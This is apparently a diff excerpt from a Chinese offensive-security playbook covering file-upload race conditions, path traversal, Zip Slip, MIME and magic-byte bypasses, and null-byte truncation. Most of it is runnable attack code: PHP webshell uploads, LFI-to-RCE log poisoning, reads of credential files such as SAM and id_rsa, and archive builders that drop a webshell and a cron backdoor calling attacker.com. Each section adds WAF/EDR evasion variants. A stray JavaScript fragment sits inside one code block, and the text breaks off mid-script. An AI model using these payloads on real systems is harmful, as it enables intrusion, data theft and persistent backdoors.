+
# 2. 在.htaccess存在的时间窗口内访问.jpg
|
|
710
|
+
while true; do
|
|
711
|
+
curl -s -F "file=@.htaccess" "http://target.com/upload" &
|
|
712
|
+
result=$(curl -s "http://target.com/uploads/shell.jpg?cmd=id")
|
|
713
|
+
[ -n "$result" ] && echo "[+] $result" && break
|
|
714
|
+
done
|
|
715
|
+
```
|
|
716
|
+
|
|
717
|
+
**WAF/EDR 绕过变体:**
|
|
718
|
+
|
|
719
|
+
**1. 并发上传竞态利用**
|
|
720
|
+
_通过大量并发请求在文件检查与删除之间的时间窗口访问已上传的文件_
|
|
721
|
+
```
|
|
722
|
+
# Python并发竞态上传
|
|
723
|
+
import threading, requests
|
|
724
|
+
|
|
725
|
+
def upload_shell():
|
|
726
|
+
files = {'file': ('test.php', '<?php echo "security_check"; ?>', 'image/jpeg')}
|
|
727
|
+
requests.post('http://target/upload', files=files)
|
|
728
|
+
|
|
729
|
+
def access_shell():
|
|
730
|
+
r = requests.get('http://target/uploads/test.php')
|
|
731
|
+
if 'security_check' in r.text:
|
|
732
|
+
print('[+] Race won!')
|
|
733
|
+
|
|
734
|
+
for i in range(100):
|
|
735
|
+
t1 = threading.Thread(target=upload_shell)
|
|
736
|
+
t2 = threading.Thread(target=access_shell)
|
|
737
|
+
t1.start(); t2.start()
|
|
738
|
+
```
|
|
739
|
+
|
|
740
|
+
**2. .htaccess竞态覆盖**
|
|
741
|
+
_利用竞态条件在检查间隙写入.htaccess使图片文件被解析为PHP_
|
|
742
|
+
```
|
|
743
|
+
# 竞态条件上传.htaccess
|
|
744
|
+
import threading, requests
|
|
745
|
+
|
|
746
|
+
def upload_htaccess():
|
|
747
|
+
files = {'file': ('.htaccess', 'AddType application/x-httpd-php .jpg', 'text/plain')}
|
|
748
|
+
requests.post('http://target/upload', files=files)
|
|
749
|
+
|
|
750
|
+
def upload_payload():
|
|
751
|
+
files = {'file': ('test.jpg', '<?php echo "security_check"; ?>', 'image/jpeg')}
|
|
752
|
+
requests.post('http://target/upload', files=files)
|
|
753
|
+
|
|
754
|
+
for i in range(50):
|
|
755
|
+
t1 = threading.Thread(target=upload_htaccess)
|
|
756
|
+
t2 = threading.Thread(target=upload_payload)
|
|
757
|
+
t1.start(); t2.start()
|
|
758
|
+
```
|
|
759
|
+
|
|
760
|
+
**3. 分块上传时间窗口**
|
|
761
|
+
_通过分块传输编码(chunked)延长服务器处理时间,增大竞态利用窗口_
|
|
762
|
+
```
|
|
763
|
+
# 利用分块传输延长上传时间窗口
|
|
764
|
+
import socket, time
|
|
765
|
+
|
|
766
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
767
|
+
sock.connect(('target', 80))
|
|
768
|
+
|
|
769
|
+
headers = (
|
|
770
|
+
"POST /upload HTTP/1.1\r\n"
|
|
771
|
+
"Host: target\r\n"
|
|
772
|
+
"Transfer-Encoding: chunked\r\n"
|
|
773
|
+
"Content-Type: multipart/form-data; boundary=abc\r\n\r\n"
|
|
774
|
+
)
|
|
775
|
+
sock.send(headers.encode())
|
|
776
|
+
|
|
777
|
+
# 缓慢发送分块数据,延长文件存在时间
|
|
778
|
+
chunks = ["5\r\nhello\r\n", "5\r\nworld\r\n", "0\r\n\r\n"]
|
|
779
|
+
for chunk in chunks:
|
|
780
|
+
sock.send(chunk.encode())
|
|
781
|
+
time.sleep(0.5)
|
|
782
|
+
```
|
|
783
|
+
|
|
784
|
+
---
|
|
785
|
+
|
|
786
|
+
### 路径遍历 `file-traversal`
|
|
787
|
+
利用路径遍历(../)序列突破文件访问的目录限制,读取或写入Web根目录以外的任意文件
|
|
788
|
+
子类:**Traversal** · tags: `traversal` `file`
|
|
789
|
+
|
|
790
|
+
**前置条件:** 目标存在文件读取/包含功能;文件路径参数可控;服务端路径过滤不严格
|
|
791
|
+
|
|
792
|
+
**攻击链:**
|
|
793
|
+
|
|
794
|
+
**1. 基础路径遍历测试** _[linux]_
|
|
795
|
+
_测试基本路径遍历和所需的目录跳转深度_
|
|
796
|
+
```
|
|
797
|
+
# 基础遍历:
|
|
798
|
+
curl "http://target.com/file?path=../../../../etc/passwd"
|
|
799
|
+
curl "http://target.com/image?name=../../../../etc/passwd"
|
|
800
|
+
|
|
801
|
+
# 测试遍历深度(通常3-10层足够到根目录):
|
|
802
|
+
for i in $(seq 1 10); do
|
|
803
|
+
traversal=$(printf "../%.0s" $(seq 1 $i))
|
|
804
|
+
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "http://target.com/file?path=${traversal}etc/passwd")
|
|
805
|
+
echo "Depth $i: $resp"
|
|
806
|
+
done
|
|
807
|
+
```
|
|
808
|
+
|
|
809
|
+
**2. 编码绕过路径过滤**
|
|
810
|
+
_使用多种编码方式绕过路径遍历的过滤机制_
|
|
811
|
+
```
|
|
812
|
+
# URL编码:
|
|
813
|
+
curl "http://target.com/file?path=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
|
|
814
|
+
|
|
815
|
+
# 双重URL编码:
|
|
816
|
+
curl "http://target.com/file?path=%252e%252e%252f%252e%252e%252fetc/passwd"
|
|
817
|
+
|
|
818
|
+
# Unicode编码:
|
|
819
|
+
curl "http://target.com/file?path=..%c0%afetc/passwd"
|
|
820
|
+
curl "http://target.com/file?path=..%ef%bc%8fetc/passwd"
|
|
821
|
+
|
|
822
|
+
# 空字节截断(PHP<5.3.4):
|
|
823
|
+
curl "http://target.com/file?path=../../../../etc/passwd%00.jpg"
|
|
824
|
+
|
|
825
|
+
# 双写绕过(服务端删除../一次):
|
|
826
|
+
curl "http://target.com/file?path=....//....//....//etc/passwd"
|
|
827
|
+
|
|
828
|
+
# 反斜杠(Windows):
|
|
829
|
+
curl "http://target.com/file?path=......windowswin.ini"
|
|
830
|
+
|
|
831
|
+
# 混合斜杠:
|
|
832
|
+
curl "http://target.com/file?path=../../../../etc/passwd"
|
|
833
|
+
```
|
|
834
|
+
|
|
835
|
+
**3. Windows特有路径遍历** _[windows]_
|
|
836
|
+
_Windows环境下的特有路径遍历手法和敏感文件_
|
|
837
|
+
```
|
|
838
|
+
# UNC路径(可能触发SMB认证):
|
|
839
|
+
curl "http://target.com/file?path=\attacker.comshare est"
|
|
840
|
+
|
|
841
|
+
# Windows敏感文件:
|
|
842
|
+
curl "http://target.com/file?path=C:Windowswin.ini"
|
|
843
|
+
curl "http://target.com/file?path=C:WindowsSystem32configSAM"
|
|
844
|
+
curl "http://target.com/file?path=C:inetpubwwwrootweb.config"
|
|
845
|
+
curl "http://target.com/file?path=C:UsersAdministrator.sshid_rsa"
|
|
846
|
+
|
|
847
|
+
# IIS短文件名枚举:
|
|
848
|
+
curl -v "http://target.com/file?path=C:inetpubwwwrootWEB~1.CON"
|
|
849
|
+
```
|
|
850
|
+
|
|
851
|
+
**4. LFI到RCE升级** _[linux]_
|
|
852
|
+
_将文件包含(LFI)升级为远程代码执行(RCE)_
|
|
853
|
+
```
|
|
854
|
+
# 1. 日志文件包含(Log Poisoning):
|
|
855
|
+
curl "http://target.com/" -A "<?php system($_GET['cmd']); ?>"
|
|
856
|
+
curl "http://target.com/file?path=../../../var/log/apache2/access.log&cmd=id"
|
|
857
|
+
|
|
858
|
+
# 2. /proc/self/environ包含:
|
|
859
|
+
curl "http://target.com/file?path=../../../proc/self/environ" -A "<?php system($_GET['c']); ?>"
|
|
860
|
+
|
|
861
|
+
# 3. PHP Session文件包含:
|
|
862
|
+
# 先在session中写入payload(如用户名字段)
|
|
863
|
+
# 然后包含session文件:
|
|
864
|
+
curl "http://target.com/file?path=../../../tmp/sess_SESSION_ID"
|
|
865
|
+
|
|
866
|
+
# 4. PHP Filter读取源码:
|
|
867
|
+
curl "http://target.com/file?path=php://filter/convert.base64-encode/resource=config.php"
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
**WAF/EDR 绕过变体:**
|
|
871
|
+
|
|
872
|
+
**1. 编码绕过路径过滤**
|
|
873
|
+
_通过双重URL编码、Unicode超长编码、UTF-8非标准编码绕过WAF的路径检测规则_
|
|
874
|
+
```
|
|
875
|
+
# 双重URL编码
|
|
876
|
+
..%252f..%252f..%252fetc%252fpasswd
|
|
877
|
+
|
|
878
|
+
# Unicode/UTF-8超长编码
|
|
879
|
+
..%c0%af..%c0%afetc/passwd
|
|
880
|
+
..%e0%80%af..%e0%80%afetc/passwd
|
|
881
|
+
|
|
882
|
+
# 16位Unicode编码
|
|
883
|
+
..%u002f..%u002fetc/passwd
|
|
884
|
+
..%u2215..%u2215etc/passwd
|
|
885
|
+
|
|
886
|
+
# URL编码混合
|
|
887
|
+
%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
|
888
|
+
%2e%2e%5c%2e%2e%5cetc%5cpasswd
|
|
889
|
+
```
|
|
890
|
+
|
|
891
|
+
**2. 路径规范化差异利用**
|
|
892
|
+
_利用不同中间件(IIS/Apache/Nginx/Tomcat)对路径解析的差异绕过安全限制_
|
|
893
|
+
```
|
|
894
|
+
# 反斜杠替代(IIS/Windows)
|
|
895
|
+
..\..\..\etc\passwd
|
|
896
|
+
..\\..\\..\\windows\\win.ini
|
|
897
|
+
|
|
898
|
+
# 点斜杠变体
|
|
899
|
+
....//....//....//etc/passwd
|
|
900
|
+
..;/..;/..;/etc/passwd
|
|
901
|
+
..%00/..%00/etc/passwd
|
|
902
|
+
|
|
903
|
+
# Java/Tomcat特殊处理
|
|
904
|
+
/..;/..;/..;/etc/passwd
|
|
905
|
+
/.;/../.;/../etc/passwd
|
|
906
|
+
|
|
907
|
+
# Nginx路径折叠
|
|
908
|
+
/static/../../../etc/passwd
|
|
909
|
+
/images/..%2f..%2f..%2fetc/passwd
|
|
910
|
+
```
|
|
911
|
+
|
|
912
|
+
**3. 空字节与路径截断绕过**
|
|
913
|
+
_利用空字节注入、文件系统路径长度限制和Windows特殊文件名处理机制绕过_
|
|
914
|
+
```
|
|
915
|
+
# 空字节截断
|
|
916
|
+
../../etc/passwd%00.png
|
|
917
|
+
../../etc/passwd\x00.jpg
|
|
918
|
+
|
|
919
|
+
# Windows短文件名
|
|
920
|
+
..\..\..\WINDOW~1\system32\drivers\etc\hosts
|
|
921
|
+
|
|
922
|
+
# 超长路径截断(PHP < 5.3)
|
|
923
|
+
../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
|
|
924
|
+
|
|
925
|
+
# 点空格点截断(Windows)
|
|
926
|
+
../../windows/win.ini. . .
|
|
927
|
+
```
|
|
928
|
+
|
|
929
|
+
---
|
|
930
|
+
|
|
931
|
+
### Zip Slip `file-zip-slip`
|
|
932
|
+
利用恶意构造的压缩包文件(ZIP/TAR)中的路径遍历实现任意文件写入,覆盖服务器上的关键文件或写入Webshell
|
|
933
|
+
子类:**Zip** · tags: `zip-slip` `file` `rce`
|
|
934
|
+
|
|
935
|
+
**前置条件:** 目标存在ZIP/TAR文件上传并自动解压功能;解压库未对文件名中的路径遍历进行过滤;了解Web根目录或其他关键目录的路径
|
|
936
|
+
|
|
937
|
+
**攻击链:**
|
|
938
|
+
|
|
939
|
+
**1. 探测ZIP上传和解压功能** _[linux]_
|
|
940
|
+
_识别目标的ZIP上传解压功能和文件存储路径_
|
|
941
|
+
```
|
|
942
|
+
# 常见的ZIP上传解压场景:
|
|
943
|
+
# - 批量文件上传(模板/资源导入)
|
|
944
|
+
# - 插件/主题安装(WordPress/Discuz)
|
|
945
|
+
# - 备份恢复功能
|
|
946
|
+
# - 文档处理(DOCX/XLSX本质是ZIP)
|
|
947
|
+
|
|
948
|
+
# 测试正常ZIP上传:
|
|
949
|
+
echo "test" > test.txt
|
|
950
|
+
zip test.zip test.txt
|
|
951
|
+
curl -F "file=@test.zip" "http://target.com/upload/batch"
|
|
952
|
+
|
|
953
|
+
# 确认解压后文件的存储路径:
|
|
954
|
+
curl "http://target.com/uploads/test.txt"
|
|
955
|
+
```
|
|
956
|
+
|
|
957
|
+
**2. 构造Zip Slip恶意压缩包**
|
|
958
|
+
_使用Python创建包含路径遍历文件名的恶意ZIP压缩包_
|
|
959
|
+
```
|
|
960
|
+
# Python脚本创建恶意ZIP:
|
|
961
|
+
import zipfile
|
|
962
|
+
import os
|
|
963
|
+
|
|
964
|
+
# 目标:写入webshell到web根目录
|
|
965
|
+
with zipfile.ZipFile("evil.zip", "w") as zf:
|
|
966
|
+
# 正常文件(伪装)
|
|
967
|
+
zf.writestr("readme.txt", "Normal file")
|
|
968
|
+
# 恶意文件(路径遍历)
|
|
969
|
+
zf.writestr("../../../var/www/html/test_shell.php",
|
|
970
|
+
"<?php echo system($_GET['cmd']); ?>")
|
|
971
|
+
# 或覆盖配置文件:
|
|
972
|
+
zf.writestr("../../../../../../etc/cron.d/backdoor",
|
|
973
|
+
"* * * * * root curl http://attacker.com/callback")
|
|
974
|
+
|
|
975
|
+
print("[+] evil.zip created")
|
|
976
|
+
print("Files in ZIP:")
|
|
977
|
+
with zipfile.ZipFile("evil.zip", "r") as zf:
|
|
978
|
+
for info in zf.infolist():
|
|
979
|
+
print(f" {info.filename} ({info.file_size} bytes)")
|
|
980
|
+
```
|
|
981
|
+
|
|
982
|
+
**3. 上传并验证Zip Slip** _[linux]_
|
|
983
|
+
_上传恶意ZIP并验证是否成功写入Webshell_
|
|
984
|
+
```
|
|
985
|
+
# 上传恶意ZIP
|
|
986
|
+
curl -F "file=@evil.zip" "http://target.com/upload/batch"
|
|
987
|
+
|
|
988
|
+
# 验证webshell写入成功
|
|
989
|
+
curl "http://target.com/test_shell.php?cmd=id"
|
|
990
|
+
curl "http://target.com/test_shell.php?cmd=whoami"
|
|
991
|
+
|
|
992
|
+
# 如果目标是Java应用(WAR包):
|
|
993
|
+
# 构造恶意WAR/JAR包(本质也是ZIP):
|
|
994
|
+
jar cf evil.war -C webshell/ .
|
|
995
|
+
# 或修改文件名为../../../webapps/ROOT/shell.jsp
|
|
996
|
+
```
|
|
997
|
+
|
|
998
|
+
**4. TAR包Zip Slip变体**
|
|
999
|
+
_使用TAR包实现Zip Slip,包括符号链接攻击变体_
|
|
1000
|
+
```
|
|
1001
|
+
# 构造恶意TAR包:
|
|
1002
|
+
import tarfile
|
|
1003
|
+
import io
|
|
1004
|
+
|
|
1005
|
+
with tarfile.open("evil.tar.gz", "w:gz") as tar:
|
|
1006
|
+
# 添加恶意文件
|
|
1007
|
+
content = b"<?php system($_GET['cmd']); ?>"
|
|
1008
|
+
info = tarfile.TarInfo(name="../../../var/www/html/test_t.php")
|
|
1009
|
+
info.size = len(content)
|
|
1010
|
+
tar.addfile(info, io.BytesIO(content))
|
|
1011
|
+
|
|
1012
|
+
# 使用符号链接攻击:
|
|
1013
|
+
import tarfile
|
|
1014
|
+
with tarfile.open("evil_symlink.tar.gz", "w:gz") as tar:
|
|
1015
|
+
# 创建指向/etc/passwd的符号链接
|
|
1016
|
+
info = tarfile.TarInfo(name="link_to_passwd")
|
|
1017
|
+
info.type = tarfile.SYMTYPE
|
|
1018
|
+
info.linkname = "/etc/passwd"
|
|
1019
|
+
tar.addfile(info)
|
|
1020
|
+
# 然后通过"link_to_passwd"覆盖目标文件
|
|
1021
|
+
content = b"root:x:0:0:root:/root:/bin/bash"
|
|
1022
|
+
info2 = tarfile.TarInfo(name="link_to_passwd")
|
|
1023
|
+
info2.size = len(content)
|
|
1024
|
+
tar.addfile(info2, io.BytesIO(content))
|
|
1025
|
+
```
|
|
1026
|
+
|
|
1027
|
+
**WAF/EDR 绕过变体:**
|
|
1028
|
+
|
|
1029
|
+
**1. 替代压缩格式绕过**
|
|
1030
|
+
_使用tar/7z/cpio等替代压缩格式,WAF可能仅检测zip格式的路径遍历_
|
|
1031
|
+
```
|
|
1032
|
+
# 使用tar格式(可能未被检测)
|
|
1033
|
+
import tarfile, io
|
|
1034
|
+
with tarfile.open('test.tar.gz', 'w:gz') as tar:
|
|
1035
|
+
info = tarfile.TarInfo(name='../../../tmp/test.txt')
|
|
1036
|
+
info.size = 14
|
|
1037
|
+
tar.addfile(info, io.BytesIO(b'security_check'))
|
|
1038
|
+
|
|
1039
|
+
# 使用7z格式
|
|
1040
|
+
7z a test.7z ../../../tmp/test.txt
|
|
1041
|
+
|
|
1042
|
+
# 使用cpio格式
|
|
1043
|
+
echo "../../../tmp/test.txt" | cpio -o > test.cpio
|
|
1044
|
+
```
|
|
1045
|
+
|
|
1046
|
+
**2. 符号链接攻击**
|
|
1047
|
+
_压缩包内嵌入符号链接指向敏感文件,解压后通过符号链接读取目标文件_
|
|
1048
|
+
```
|
|
1049
|
+
# 创建包含符号链接的压缩包
|
|
1050
|
+
import zipfile, os
|
|
1051
|
+
|
|
1052
|
+
# 方法1: tar符号链接
|
|
1053
|
+
import tarfile
|
|
1054
|
+
with tarfile.open('symlink.tar.gz', 'w:gz') as tar:
|
|
1055
|
+
info = tarfile.TarInfo(name='link')
|
|
1056
|
+
info.type = tarfile.SYMTYPE
|
|
1057
|
+
info.linkname = '/etc/passwd'
|
|
1058
|
+
tar.addfile(info)
|
|
1059
|
+
|
|
1060
|
+
# 方法2: zip中嵌入符号链接(Linux)
|
|
1061
|
+
os.symlink('/etc/passwd', '/tmp/link')
|
|
1062
|
+
with zipfile.ZipFile('symlink.zip', 'w') as zf:
|
|
1063
|
+
zf.write('/tmp/link', 'link')
|
|
1064
|
+
```
|
|
1065
|
+
|
|
1066
|
+
**3. 文件名编码混淆**
|
|
1067
|
+
_通过修改压缩包内文件名的编码方式(UTF-8/GBK/反斜杠)绕过解压时的路径检查_
|
|
1068
|
+
```
|
|
1069
|
+
# Unicode文件名混淆
|
|
1070
|
+
import zipfile, io, struct
|
|
1071
|
+
|
|
1072
|
+
with zipfile.ZipFile('encoded.zip', 'w') as zf:
|
|
1073
|
+
# 使用反斜杠(Windows路径分隔符)
|
|
1074
|
+
zf.writestr('..\\..\\..\\tmp\\test.txt', 'security_check')
|
|
1075
|
+
|
|
1076
|
+
# 手工构造zip(修改中央目录文件名)
|
|
1077
|
+
# 使用UTF-8编码的路径遍历字符
|
|
1078
|
+
with open('crafted.zip', 'rb') as f:
|
|
1079
|
+
data = bytearray(f.read())
|
|
1080
|
+
# 替换文件名中的编码字符
|
|
1081
|
+
# ../变为 %2e%2e%2f 的原始字节
|
|
1082
|
+
```
|
|
1083
|
+
|
|
1084
|
+
---
|
|
1085
|
+
|
|
1086
|
+
### MIME类型绕过 `file-mime`
|
|
1087
|
+
通过伪造MIME类型(Content-Type)绕过文件上传的类型检查,上传恶意可执行文件
|
|
1088
|
+
子类:**MIME** · tags: `mime` `bypass`
|
|
1089
|
+
|
|
1090
|
+
**前置条件:** 目标存在文件上传功能;服务端仅通过Content-Type判断文件类型;了解目标允许的MIME类型
|
|
1091
|
+
|
|
1092
|
+
**攻击链:**
|
|
1093
|
+
|
|
1094
|
+
**1. 探测文件类型检查机制** _[linux]_
|
|
1095
|
+
_通过对比测试判断服务端使用的文件类型验证方式_
|
|
1096
|
+
```
|
|
1097
|
+
# 测试不同的上传方式判断检查点:
|
|
1098
|
+
|
|
1099
|
+
# 1. 正常上传(应该成功):
|
|
1100
|
+
curl -F "file=@test.jpg;type=image/jpeg" "http://target.com/upload"
|
|
1101
|
+
|
|
1102
|
+
# 2. 修改Content-Type(判断是否仅检查MIME):
|
|
1103
|
+
curl -F "file=@shell.php;type=image/jpeg" "http://target.com/upload"
|
|
1104
|
+
|
|
1105
|
+
# 3. 修改扩展名(判断是否检查扩展名):
|
|
1106
|
+
curl -F "file=@shell.jpg;type=application/x-php" "http://target.com/upload"
|
|
1107
|
+
|
|
1108
|
+
# 4. 仅修改文件头(判断是否检查Magic Bytes):
|
|
1109
|
+
# GIF89a开头的PHP:
|
|
1110
|
+
printf "GIF89a<?php system($_GET['cmd']); ?>" > shell.gif
|
|
1111
|
+
curl -F "file=@shell.gif;type=image/gif" "http://target.com/upload"
|
|
1112
|
+
```
|
|
1113
|
+
|
|
1114
|
+
**2. MIME类型伪造上传Webshell** _[linux]_
|
|
1115
|
+
_使用MIME伪造结合各种文件名技巧上传可执行文件_
|
|
1116
|
+
```
|
|
1117
|
+
# 将PHP webshell的Content-Type伪造为图片:
|
|
1118
|
+
curl -X POST "http://target.com/upload" -F "file=@shell.php;type=image/jpeg;filename=shell.php"
|
|
1119
|
+
|
|
1120
|
+
# 如果服务端同时检查扩展名,使用双扩展名:
|
|
1121
|
+
curl -F "file=@shell.php;type=image/jpeg;filename=shell.php.jpg" "http://target.com/upload"
|
|
1122
|
+
curl -F "file=@shell.php;type=image/png;filename=shell.jpg.php" "http://target.com/upload"
|
|
1123
|
+
|
|
1124
|
+
# Apache多扩展名解析:
|
|
1125
|
+
curl -F "file=@shell.php;type=image/jpeg;filename=shell.php.abc" "http://target.com/upload"
|
|
1126
|
+
|
|
1127
|
+
# Nginx解析漏洞:
|
|
1128
|
+
curl -F "file=@shell.jpg;type=image/jpeg" "http://target.com/upload"
|
|
1129
|
+
curl "http://target.com/uploads/shell.jpg/.php"
|
|
1130
|
+
```
|
|
1131
|
+
|
|
1132
|
+
**3. Magic Bytes伪造** _[linux]_
|
|
1133
|
+
_在恶意文件前面添加合法的Magic Bytes文件头绕过内容检查_
|
|
1134
|
+
```
|
|
1135
|
+
# 在PHP文件前添加各种文件头:
|
|
1136
|
+
|
|
1137
|
+
# JPEG文件头:
|
|
1138
|
+
printf "ÿØÿà\x00JFIF" > shell.php
|
|
1139
|
+
echo "<?php system($_GET['cmd']); ?>" >> shell.php
|
|
1140
|
+
|
|
1141
|
+
# PNG文件头:
|
|
1142
|
+
printf "PNG
|
|
1143
|
+
|
|
1144
|
+
" > shell.php
|
|
1145
|
+
echo "<?php system($_GET['cmd']); ?>" >> shell.php
|
|
1146
|
+
|
|
1147
|
+
# GIF文件头:
|
|
1148
|
+
printf "GIF89a" > shell.php
|
|
1149
|
+
echo "<?php system($_GET['cmd']); ?>" >> shell.php
|
|
1150
|
+
|
|
1151
|
+
# BMP文件头:
|
|
1152
|
+
printf "BM" > shell.php
|
|
1153
|
+
echo "<?php system($_GET['cmd']); ?>" >> shell.php
|
|
1154
|
+
|
|
1155
|
+
# 上传:
|
|
1156
|
+
curl -F "file=@shell.php;type=image/jpeg;filename=shell.php" "http://target.com/upload"
|
|
1157
|
+
```
|
|
1158
|
+
|
|
1159
|
+
**4. 验证上传结果**
|
|
1160
|
+
_确认上传文件路径并验证Webshell可执行_
|
|
1161
|
+
```
|
|
1162
|
+
# 确认文件上传路径:
|
|
1163
|
+
curl -v "http://target.com/uploads/shell.php"
|
|
1164
|
+
|
|
1165
|
+
# 执行命令:
|
|
1166
|
+
curl "http://target.com/uploads/shell.php?cmd=id"
|
|
1167
|
+
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
|
|
1168
|
+
|
|
1169
|
+
# 如果无法直接访问,尝试其他路径:
|
|
1170
|
+
curl "http://target.com/upload/files/shell.php?cmd=id"
|
|
1171
|
+
curl "http://target.com/static/uploads/shell.php?cmd=id"
|
|
1172
|
+
curl "http://target.com/resources/shell.php?cmd=id"
|
|
1173
|
+
```
|
|
1174
|
+
|
|
1175
|
+
**WAF/EDR 绕过变体:**
|
|
1176
|
+
|
|
1177
|
+
**1. Polyglot文件绕过**
|
|
1178
|
+
_创建同时满足图片格式魔术字节和PHP解析的Polyglot文件,绕过文件类型检测_
|
|
1179
|
+
```
|
|
1180
|
+
# GIF+PHP Polyglot
|
|
1181
|
+
GIF89a<?php echo "security_check"; ?>
|
|
1182
|
+
|
|
1183
|
+
# PNG+PHP Polyglot(使用exiftool注入)
|
|
1184
|
+
exiftool -Comment='<?php echo "security_check"; ?>' test.png
|
|
1185
|
+
mv test.png test.php.png
|
|
1186
|
+
|
|
1187
|
+
# JPEG Polyglot
|
|
1188
|
+
exiftool -DocumentName='<?php echo "security_check"; ?>' test.jpg
|
|
1189
|
+
|
|
1190
|
+
# BMP+PHP
|
|
1191
|
+
python3 -c "import struct; open('poly.php.bmp','wb').write(b'BM'+struct.pack('<I',54)+b'\x00'*46+b'<?php echo \"security_check\"; ?>')"
|
|
1192
|
+
```
|
|
1193
|
+
|
|
1194
|
+
**2. Content-Type边界操控**
|
|
1195
|
+
_利用多重Content-Type头、boundary混淆和MIME大小写差异绕过WAF文件类型检查_
|
|
1196
|
+
```
|
|
1197
|
+
# 多个Content-Type头
|
|
1198
|
+
POST /upload HTTP/1.1
|
|
1199
|
+
Content-Type: image/jpeg
|
|
1200
|
+
Content-Type: application/x-php
|
|
1201
|
+
|
|
1202
|
+
# boundary混淆
|
|
1203
|
+
Content-Type: multipart/form-data; boundary=abc; boundary=xyz
|
|
1204
|
+
|
|
1205
|
+
# 大小写混淆MIME类型
|
|
1206
|
+
Content-Type: Image/JPEG
|
|
1207
|
+
Content-Type: image/JPEG; charset=utf-8
|
|
1208
|
+
|
|
1209
|
+
# 添加额外参数
|
|
1210
|
+
Content-Type: image/jpeg; name="test.php"
|
|
1211
|
+
```
|
|
1212
|
+
|
|
1213
|
+
**3. EXIF元数据注入payload**
|
|
1214
|
+
_将payload注入图片的EXIF/XMP/ICC元数据字段,配合文件包含漏洞执行代码_
|
|
1215
|
+
```
|
|
1216
|
+
# EXIF Comment注入
|
|
1217
|
+
exiftool -Comment='<?php system("id"); ?>' photo.jpg
|
|
1218
|
+
|
|
1219
|
+
# XMP元数据注入
|
|
1220
|
+
exiftool -XMP-dc:Description='<script>alert(1)</script>' photo.jpg
|
|
1221
|
+
|
|
1222
|
+
# ICC Profile注入
|
|
1223
|
+
exiftool -ICC_Profile:ProfileDescription='<?php echo "security_check"; ?>' photo.jpg
|
|
1224
|
+
|
|
1225
|
+
# 上传后配合文件包含利用
|
|
1226
|
+
# http://target/include.php?file=uploads/photo.jpg
|
|
1227
|
+
```
|
|
1228
|
+
|
|
1229
|
+
---
|
|
1230
|
+
|
|
1231
|
+
### 空字节截断 `file-null-byte`
|
|
1232
|
+
利用空字节(%00/\x00)截断文件名的扩展名验证,绕过文件上传白名单限制
|
|
1233
|
+
子类:**Null Byte** · tags: `null-byte` `bypass`
|
|
1234
|
+
|
|
1235
|
+
**前置条件:** 目标使用白名单验证文件扩展名;后端语言或库受空字节截断影响(PHP<5.3.4, Java旧版本);服务端在路径拼接中存在截断点
|
|
1236
|
+
|
|
1237
|
+
**攻击链:**
|
|
1238
|
+
|
|
1239
|
+
**1. 空字节截断原理与环境检测**
|
|
1240
|
+
_检测目标环境是否可能受空字节截断影响_
|
|
1241
|
+
```
|
|
1242
|
+
# 空字节截断受影响的环境:
|
|
1243
|
+
# - PHP < 5.3.4 (底层C函数将\x00视为字符串结尾),
|
|
1244
|
+
syntaxBreakdown: [
|
|
1245
|
+
{ part: '<script>', explanation: { zh: '脚本标签', en: 'Scripttag' }, type: 'tag' },
|
|
1246
|
+
{ part: 'alert()', explanation: { zh: '弹窗函数', en: 'Alert function' }, type: 'function' }
|
|
1247
|
+
]
|
|
1248
|
+
# - Java旧版本的File类
|
|
1249
|
+
# - 部分Python 2.x版本
|
|
1250
|
+
# - 使用C/C++扩展的程序
|
|
1251
|
+
|
|
1252
|
+
# 检测PHP版本:
|
|
1253
|
+
curl -sI "http://target.com/" | grep -i "x-powered-by|server"
|
|
1254
|
+
curl -s "http://target.com/phpinfo.php" | grep -i "php version"
|
|
1255
|
+
```
|
|
1256
|
+
|
|
1257
|
+
**2. 文件上传空字节截断**
|
|
1258
|
+
_在文件名中注入空字节截断扩展名验证_
|
|
1259
|
+
```
|
|
1260
|
+
# 方法1: URL编码空字节:
|
|
1261
|
+
curl -F "file=@shell.php;filename=shell.php%00.jpg" "http://target.com/upload"
|
|
1262
|
+
|
|
1263
|
+
# 方法2: 在Burp中修改原始字节:
|
|
1264
|
+
# 将文件名 shell.php[0x00].jpg 中的[0x00]替换为实际的空字节
|
|
1265
|
+
# Burp Repeater → 选中%00 → 右键 → Convert → URL decode
|
|
1266
|
+
|
|
1267
|
+
# 方法3: Python发送:
|
|
1268
|
+
import requests
|
|
1269
|
+
files = {"file": ("shell.php\x00.jpg", open("shell.php","rb"), "image/jpeg")}
|
|
1270
|
+
r = requests.post("http://target.com/upload", files=files)
|
|
1271
|
+
print(r.status_code, r.text[:200])
|
|
1272
|
+
```
|
|
1273
|
+
|
|
1274
|
+
**3. 文件包含空字节截断** _[linux]_
|
|
1275
|
+
_在文件包含场景中利用空字节截断服务端拼接的后缀_
|
|
1276
|
+
```
|
|
1277
|
+
# PHP文件包含中的空字节截断:
|
|
1278
|
+
# 服务端代码: include($_GET["page"] . ".php");
|
|
1279
|
+
|
|
1280
|
+
# 正常请求:
|
|
1281
|
+
curl "http://target.com/index.php?page=about" # → include("about.php")
|
|
1282
|
+
|
|
1283
|
+
# 空字节截断:
|
|
1284
|
+
curl "http://target.com/index.php?page=../../../etc/passwd%00"
|
|
1285
|
+
# → include("../../../etc/passwd\x00.php")
|
|
1286
|
+
# → 实际读取 ../../../etc/passwd (\x00截断了.php)
|
|
1287
|
+
|
|
1288
|
+
# 配合路径遍历:
|
|
1289
|
+
curl "http://target.com/index.php?page=../../../var/log/apache2/access.log%00"
|
|
1290
|
+
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config%00"
|
|
1291
|
+
```
|
|
1292
|
+
|
|
1293
|
+
**4. 现代替代方案(PHP>=5.3.4)**
|
|
1294
|
+
_在PHP 5.3.4+无法使用空字节截断时的替代绕过方案_
|
|
1295
|
+
```
|
|
1296
|
+
# PHP 5.3.4+已修复空字节截断,替代方案:
|
|
1297
|
+
|
|
1298
|
+
# 1. 路径截断(超长路径):
|
|
1299
|
+
# Windows MAX_PATH=260, Linux PATH_MAX=4096
|
|
1300
|
+
payload="shell.php" + "/./" * 2048 + ".jpg"
|
|
1301
|
+
